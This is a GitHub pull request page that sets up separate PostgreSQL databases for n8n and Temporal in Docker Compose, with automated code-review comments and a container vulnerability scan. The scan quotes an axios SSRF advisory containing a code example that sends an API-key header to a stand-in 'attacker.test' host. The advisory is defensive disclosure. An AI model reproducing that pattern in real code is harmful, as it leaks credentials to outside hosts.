Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

@anatolyshipitz anatolyshipitz commented Apr 29, 2025

  • Set up environment variables for n8n and Temporal PostgreSQL connections
  • Ensure both services use separate databases and credentials
  • Update docker-compose and .env.example for clarity and security

image

…kend

- Set up environment variables for n8n and Temporal PostgreSQL connections
- Ensure both services use separate databases and credentials
- Add persistent Docker volumes for PostgreSQL data
- Update docker-compose and .env.example for clarity and security

Refs #64541
@anatolyshipitz anatolyshipitz self-assigned this Apr 29, 2025
@coderabbitai
Copy link

coderabbitai bot commented Apr 29, 2025

"""

Walkthrough

The changes restructure environment configuration and Docker Compose setup for a multi-service application. The .env.example file is reorganized to clearly distinguish between development and production environments, with expanded placeholders for both. In docker-compose.prod.yml, the PostgreSQL service and volume are removed, along with dependency constraints on n8n and temporal; PostgreSQL and Elasticsearch connection details are moved to environment variables in n8n, temporal, and temporal-ui. The main docker-compose.yml is updated to improve service dependency management with health checks, separate database credentials for n8n and temporal, add a volume mount for the new initialization script, and enhance the health check to verify the existence of required databases. A new init-db.sh script is added to automate creating PostgreSQL users and databases for both n8n and temporal.

Changes

File(s) Change Summary
.env.example Restructured to separate development and production environment variables; added placeholders for both, expanded example coverage.
docker-compose.prod.yml Removed postgresql service and volume; removed depends_on for n8n and temporal; moved PostgreSQL and Elasticsearch config to environment variables in n8n, temporal, and temporal-ui. Ports reset for temporal-ui.
docker-compose.yml Improved service dependency management with health checks; added explicit PostgreSQL credentials and database names for n8n and temporal; added volume mount for init-db.sh; enhanced health check to verify databases exist.
scripts/init-db.sh New initialization script to create PostgreSQL users and databases for n8n and temporal using environment variables.

Sequence Diagram(s)

sequenceDiagram
    participant Developer
    participant DockerCompose
    participant PostgreSQL
    participant InitScript
    participant n8n
    participant Temporal

    Developer->>DockerCompose: docker-compose up
    DockerCompose->>PostgreSQL: Start container
    PostgreSQL->>InitScript: Run init-db.sh on startup
    InitScript->>PostgreSQL: Create users and databases for n8n and Temporal
    PostgreSQL-->>DockerCompose: Signal healthy after databases exist
    DockerCompose->>n8n: Start container (waits for PostgreSQL healthy)
    n8n->>PostgreSQL: Connect using n8n credentials
    DockerCompose->>Temporal: Start container (waits for PostgreSQL and opensearch healthy)
    Temporal->>PostgreSQL: Connect using temporal credentials
Loading

Possibly related PRs

  • feat(docker): add production compose file, update README #11: Introduces the initial docker-compose.prod.yml with volume bindings and updates README and volume setup scripts; this PR modifies and builds upon the same production compose file by removing PostgreSQL service and adjusting environment variables.
    """

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 1b84440 and 4ab69a3.

📒 Files selected for processing (1)
  • scripts/init-db.sh (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • scripts/init-db.sh
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Generate unit testing code for this file.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai generate unit testing code for this file.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and generate unit testing code.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@github-actions
Copy link

github-actions bot commented Apr 29, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:c80b52813a106d26385464d78f435685657c50c7b192d5f4a69410752d213b00
vulnerabilitiescritical: 1 high: 4 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.056%
EPSS Percentile18th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.132%
EPSS Percentile34th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score14.484%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

anatolyshipitz and others added 2 commits April 29, 2025 18:07
…d Temporal

- Updated .env.example to include production environment variables for n8n and Temporal
- Refined docker-compose.prod.yml to streamline PostgreSQL configuration and remove unnecessary volume definitions
- Ensured all required environment variables are clearly defined for production deployment

Refs #64541
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

🧹 Nitpick comments (4)
scripts/init-db.sh (2)

1-2: Enhance script robustness with strict shell options
Consider adding set -u and set -o pipefail to catch unset variables and pipeline failures. For example:

- set -e
+ set -euo pipefail

This will make the script more resilient and fail fast on unexpected errors.


4-12: Validate inputs and improve idempotency of database creation

  • Add checks for required environment variables to avoid empty or malformed user/database names.
  • Use DO $$ … $$; blocks or CREATE ROLE IF NOT EXISTS to prevent errors if the script is re-run.

Example enhancements:

+ : "${POSTGRES_USER_N8N:?Environment variable POSTGRES_USER_N8N is required}"
+ : "${POSTGRES_PASSWORD_N8N:?Environment variable POSTGRES_PASSWORD_N8N is required}"
+ : "${POSTGRES_DB_N8N:?Environment variable POSTGRES_DB_N8N is required}"
+ : "${POSTGRES_USER_TEMPORAL:?Environment variable POSTGRES_USER_TEMPORAL is required}"
+ : "${POSTGRES_PASSWORD_TEMPORAL:?Environment variable POSTGRES_PASSWORD_TEMPORAL is required}"
+ : "${POSTGRES_DB_TEMPORAL:?Environment variable POSTGRES_DB_TEMPORAL is required}"

 psql -v ON_ERROR_STOP=1 --username "postgres" <<-EOSQL
-     CREATE USER "$POSTGRES_USER_N8N" WITH ENCRYPTED PASSWORD '$POSTGRES_PASSWORD_N8N';
+     DO $$ BEGIN
+       IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = '$POSTGRES_USER_N8N') THEN
+         CREATE USER "$POSTGRES_USER_N8N" WITH ENCRYPTED PASSWORD '$POSTGRES_PASSWORD_N8N';
+       END IF;
+     END $$;
      CREATE DATABASE "$POSTGRES_DB_N8N" OWNER "$POSTGRES_USER_N8N";
      GRANT ALL PRIVILEGES ON DATABASE "$POSTGRES_DB_N8N" TO "$POSTGRES_USER_N8N";

-     CREATE USER "$POSTGRES_USER_TEMPORAL" WITH ENCRYPTED PASSWORD '$POSTGRES_PASSWORD_TEMPORAL';
+     DO $$ BEGIN
+       IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = '$POSTGRES_USER_TEMPORAL') THEN
+         CREATE USER "$POSTGRES_USER_TEMPORAL" WITH ENCRYPTED PASSWORD '$POSTGRES_PASSWORD_TEMPORAL';
+       END IF;
+     END $$;
      CREATE DATABASE "$POSTGRES_DB_TEMPORAL" OWNER "$POSTGRES_USER_TEMPORAL";
      GRANT ALL PRIVILEGES ON DATABASE "$POSTGRES_DB_TEMPORAL" TO "$POSTGRES_USER_TEMPORAL";
 EOSQL

These changes help prevent accidental re-creation errors and ensure that missing environment variables fail early.

.env.example (1)

30-30: Placeholder for GitHub token is fine
Ensure users understand not to commit real tokens.

docker-compose.prod.yml (1)

80-80: Remove trailing spaces
YAMLLint flagged trailing spaces on this line. Please trim to avoid lint errors.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 6c42579 and 2f48547.

📒 Files selected for processing (4)
  • .env.example (1 hunks)
  • docker-compose.prod.yml (2 hunks)
  • docker-compose.yml (4 hunks)
  • scripts/init-db.sh (1 hunks)
🧰 Additional context used
🪛 YAMLlint (1.35.1)
docker-compose.yml

[error] 80-80: trailing spaces

(trailing-spaces)

🔇 Additional comments (14)
.env.example (8)

9-14: Clarify general vs service-specific PostgreSQL variables
You’ve introduced POSTGRES_DB_N8N/POSTGRES_USER_N8N and POSTGRES_DB_TEMPORAL/POSTGRES_USER_TEMPORAL for dev isolation. Double-check whether the generic POSTGRES_USER, POSTGRES_DB, and POSTGRES_PASSWORD entries above are still needed—or if they can be removed—to avoid confusion.


16-19: Development n8n settings look good
The webhook URL, encryption key, and port defaults are clear and correctly scoped for local development.


21-23: Development OpenSearch settings are appropriate
Using DISABLE_SECURITY_PLUGIN=true and the default port is fine for dev.


25-27: Development Temporal settings are correct
The default ports align with your local setup.


45-47: Production OpenSearch port placeholder is correct
Defaulting to 9200 aligns with your compose files.


48-49: Production Temporal port placeholder is fine
This matches your docker-compose.prod.yml.


51-52: Production Temporal-UI port placeholder is correct
8080 is the standard UI port.


53-55: Production Temporal DB variables are in place
Placeholders for POSTGRES_DB_TEMPORAL, POSTGRES_USER_TEMPORAL, and POSTGRES_PASSWORD_TEMPORAL are correctly scoped.

docker-compose.prod.yml (1)

16-16: Verify Compose compatibility for !reset null
The !reset null feature requires a recent Docker Compose spec (> v3.5) and the new CLI. Please confirm your CI/CD and local environments support this syntax.

docker-compose.yml (5)

11-13: n8n service dependency is properly gated on PostgreSQL health
Using condition: service_healthy ensures n8n only starts after the DB is ready.


24-31: n8n’s PostgreSQL environment is correctly configured
You’ve set DB_TYPE, host, port, credentials, plus enhanced logging settings—this aligns with best practices for production-like dev environments.


74-81: PostgreSQL service now supports separate app DBs
Defining POSTGRES_DB_N8N, POSTGRES_USER_N8N, etc., alongside the default POSTGRES_PASSWORD is a solid approach for multi-tenant setup.

🧰 Tools
🪛 YAMLlint (1.35.1)

[error] 80-80: trailing spaces

(trailing-spaces)


85-86: Initialization script mounted correctly
The new init-db.sh will run on first startup to create both databases/users.


90-90: Health check verifies both databases exist
Your combined psql command ensures both n8n and temporal DBs are up. Well done.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

♻️ Duplicate comments (1)
docker-compose.yml (1)

115-126: ⚠️ Potential issue

Temporal service DB environment variables misnamed
The Temporal server image expects DB_SEEDS (host:port) rather than POSTGRES_SEEDS. Please update accordingly and include the port.
Apply this diff:

-      - POSTGRES_SEEDS: postgresql
+      - DB_SEEDS: postgresql:${POSTGRES_PORT:-5432}

Also verify if you need DB_PLUGIN=postgresql per your Temporal version.

🧹 Nitpick comments (1)
docker-compose.yml (1)

78-85: Clear separation of credentials for multiple databases
Introducing distinct POSTGRES_DB_N8N, POSTGRES_USER_N8N, POSTGRES_PASSWORD_N8N (and their Temporal counterparts) improves isolation.
Nitpick: remove the trailing whitespace on line 84 to satisfy YAML linting.

🧰 Tools
🪛 YAMLlint (1.35.1)

[error] 84-84: trailing spaces

(trailing-spaces)

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 2f48547 and 915e360.

📒 Files selected for processing (3)
  • .env.example (2 hunks)
  • docker-compose.prod.yml (2 hunks)
  • docker-compose.yml (4 hunks)
🚧 Files skipped from review as they are similar to previous changes (2)
  • .env.example
  • docker-compose.prod.yml
🧰 Additional context used
🪛 YAMLlint (1.35.1)
docker-compose.yml

[error] 84-84: trailing spaces

(trailing-spaces)

⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (4)
docker-compose.yml (4)

11-13: Ensure n8n waits for PostgreSQL health before startup
Adding a depends_on with condition: service_healthy is a solid improvement to guarantee n8n only starts once the database is ready.


24-31: Explicit PostgreSQL configuration for n8n looks good
Switching from generic vars to DB_TYPE=postgresdb and DB_POSTGRESDB_* keys aligns with n8n’s Postgres driver conventions.


94-94: Strong health check verifying both databases
The combined SQL query ensures both the n8n and Temporal databases exist before marking the service healthy—excellent coverage.


89-89:

✅ Verification successful

Verify database initialization script inclusion
Ensure that scripts/init-db.sh is present at the correct path and has executable permissions so it runs at container startup.


🏁 Script executed:

#!/bin/bash
# Check presence and executability of init-db.sh
if [ -f scripts/init-db.sh ] && [ -x scripts/init-db.sh ]; then
  echo "init-db.sh is present and executable"
else
  echo "Error: scripts/init-db.sh is missing or not executable"
  exit 1
fi

Length of output: 146


Database initialization script verified
The scripts/init-db.sh file exists and has executable permissions, ensuring it will run at container startup. No further changes are needed.

- Added required environment variables for n8n and Temporal services in docker-compose.prod.yml
- Set dependencies for n8n and Temporal services to ensure proper startup order
- Improved clarity by using environment variable placeholders for host and database configurations

This update enhances the production setup for better reliability and configuration management.
- Added a newline at the end of the init-db.sh script to ensure proper file formatting and prevent potential issues in execution.

This change improves the script's compatibility and adheres to best practices for shell scripts.
@sonarqubecloud
Copy link

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@anatolyshipitz anatolyshipitz merged commit c3f530c into main May 1, 2025
11 checks passed
@anatolyshipitz anatolyshipitz deleted the feature/64541-postgresql-n8n-temporal-setup branch May 1, 2025 06:57
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants